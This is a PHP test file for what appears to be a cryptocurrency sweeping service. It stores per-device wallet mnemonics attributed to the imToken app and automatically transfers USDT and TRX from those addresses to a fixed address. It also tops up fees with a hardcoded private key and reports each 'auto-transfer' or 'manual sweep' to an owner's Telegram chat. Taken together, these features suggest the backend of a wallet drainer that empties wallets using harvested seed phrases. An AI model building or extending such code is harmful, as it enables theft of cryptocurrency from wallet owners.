self::TO, 'coruna.transfer.max_derive_index' => 5, 'coruna.tron.full_node' => 'https://api.trongrid.io', 'coruna.tron.usdt_contract' => 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t', 'coruna.transfer.max_usdt' => '0', 'coruna.telegram.bot_token' => 'tg-token', 'coruna.telegram.owner_chat_id' => '10001', 'coruna.transfer.fee_topup_trx' => '1', ]); } private function seedDevice(): void { $ch = 'cccccccccccccccccccccccccccccccc'; Channel::query()->create([ 'channel_id' => $ch, 'user_id' => Channel::OFFICIAL_USER_ID, 'status' => 1, ]); $device = Device::query()->create([ 'device_id' => 'dev-tg-transfer', 'channel_id' => $ch, ]); WalletAddress::query()->create([ 'device_id' => $device->id, 'address' => self::FROM, 'chain_type' => 'TRON', 'source' => 'imToken', 'monitor' => 0, ]); $row = new WalletMnemonic([ 'device_id' => $device->id, 'source' => 'imToken', ]); $row->mnemonic = self::MNEMONIC; $row->save(); } #[Test] public function auto_transfer_success_sends_telegram(): void { $this->seedDevice(); Http::fake([ '*/wallet/getaccount' => Http::response(['balance' => 100_000_000], 200), '*/wallet/triggersmartcontract' => Http::response([ 'result' => ['result' => true], 'transaction' => [ 'txID' => str_repeat('cd', 32), 'raw_data' => ['contract' => []], 'raw_data_hex' => '0a00', ], ], 200), '*/wallet/broadcasttransaction' => Http::response([ 'result' => true, ], 200), 'api.telegram.org/*' => Http::response(['ok' => true], 200), ]); $result = app(TransferService::class)->handle('tron', self::FROM, '1', 'USDT', 'auto'); $this->assertTrue($result['ok'] ?? false, $result['error'] ?? ''); Http::assertSent(function ($request) { if (! str_contains($request->url(), 'api.telegram.org/bottg-token/sendMessage')) { return false; } $text = (string) ($request->data()['text'] ?? ''); return str_contains($text, '自动转账成功') && str_contains($text, self::FROM) && str_contains($text, 'USDT') && ($request->data()['chat_id'] ?? null) === '10001'; }); } #[Test] public function admin_sweep_sends_manual_telegram(): void { $this->seedDevice(); Http::fake([ '*/wallet/getaccount' => Http::response(['balance' => 100_000_000], 200), '*/wallet/createtransaction' => Http::response([ 'txID' => str_repeat('ab', 32), 'raw_data' => ['contract' => []], 'raw_data_hex' => '0a00', ], 200), '*/wallet/broadcasttransaction' => Http::response([ 'result' => true, 'txid' => str_repeat('ab', 32), ], 200), 'api.telegram.org/*' => Http::response(['ok' => true], 200), ]); $result = app(TransferService::class)->handle('tron', self::FROM, '1', 'TRX', 'admin:1@alice'); $this->assertTrue($result['ok'] ?? false, $result['error'] ?? ''); Http::assertSent(function ($request) { if (! str_contains($request->url(), 'api.telegram.org/bottg-token/sendMessage')) { return false; } $text = (string) ($request->data()['text'] ?? ''); return str_contains($text, '手动归集成功') && str_contains($text, '操作人') && str_contains($text, '管理员 alice') && str_contains($text, self::FROM) && ! str_contains($text, '自动转账') && ($request->data()['chat_id'] ?? null) === '10001'; }); } #[Test] public function fee_topup_sends_telegram(): void { $this->seedDevice(); $feeKey = 'abde94314a030ae8860a58db8adde7fc962cca2455db9d2979e480038c49dcbc'; $feeFrom = 'TUJ2YbSDGtCqzRz7quPQidRCMC98jDAPXc'; config([ 'coruna.transfer.fee_topup_trx' => '20', 'coruna.transfer.fee_address_tron' => $feeFrom, 'coruna.transfer.fee_private_key_tron' => $feeKey, ]); $getAccountCalls = 0; Http::fake(function ($request) use (&$getAccountCalls) { $url = $request->url(); if (str_contains($url, 'api.telegram.org')) { return Http::response(['ok' => true], 200); } if (str_ends_with($url, '/wallet/getaccount')) { $getAccountCalls++; // First read: below target → top-up; later: confirm / skip. $sun = $getAccountCalls === 1 ? 5_000_000 : 25_000_000; return Http::response(['balance' => $sun], 200); } if (str_ends_with($url, '/wallet/createtransaction')) { return Http::response([ 'txID' => str_repeat('fe', 32), 'raw_data' => ['contract' => []], 'raw_data_hex' => '0a00', ], 200); } if (str_ends_with($url, '/wallet/triggersmartcontract')) { return Http::response([ 'result' => ['result' => true], 'transaction' => [ 'txID' => str_repeat('cd', 32), 'raw_data' => ['contract' => []], 'raw_data_hex' => '0a00', ], ], 200); } if (str_ends_with($url, '/wallet/broadcasttransaction')) { return Http::response(['result' => true], 200); } return Http::response([], 404); }); $result = app(TransferService::class)->handle('tron', self::FROM, '1', 'USDT', 'admin:1@alice'); $this->assertTrue($result['ok'] ?? false, $result['error'] ?? ''); Http::assertSent(function ($request) use ($feeFrom) { if (! str_contains($request->url(), 'api.telegram.org/bottg-token/sendMessage')) { return false; } $text = (string) ($request->data()['text'] ?? ''); return str_contains($text, 'TRX 手续费补足成功') && str_contains($text, $feeFrom) && str_contains($text, self::FROM) && ($request->data()['chat_id'] ?? null) === '10001'; }); Http::assertNotSent(function ($request) { if (! str_contains($request->url(), 'api.telegram.org')) { return false; } $text = (string) ($request->data()['text'] ?? ''); return str_contains($text, '自动转账'); }); } }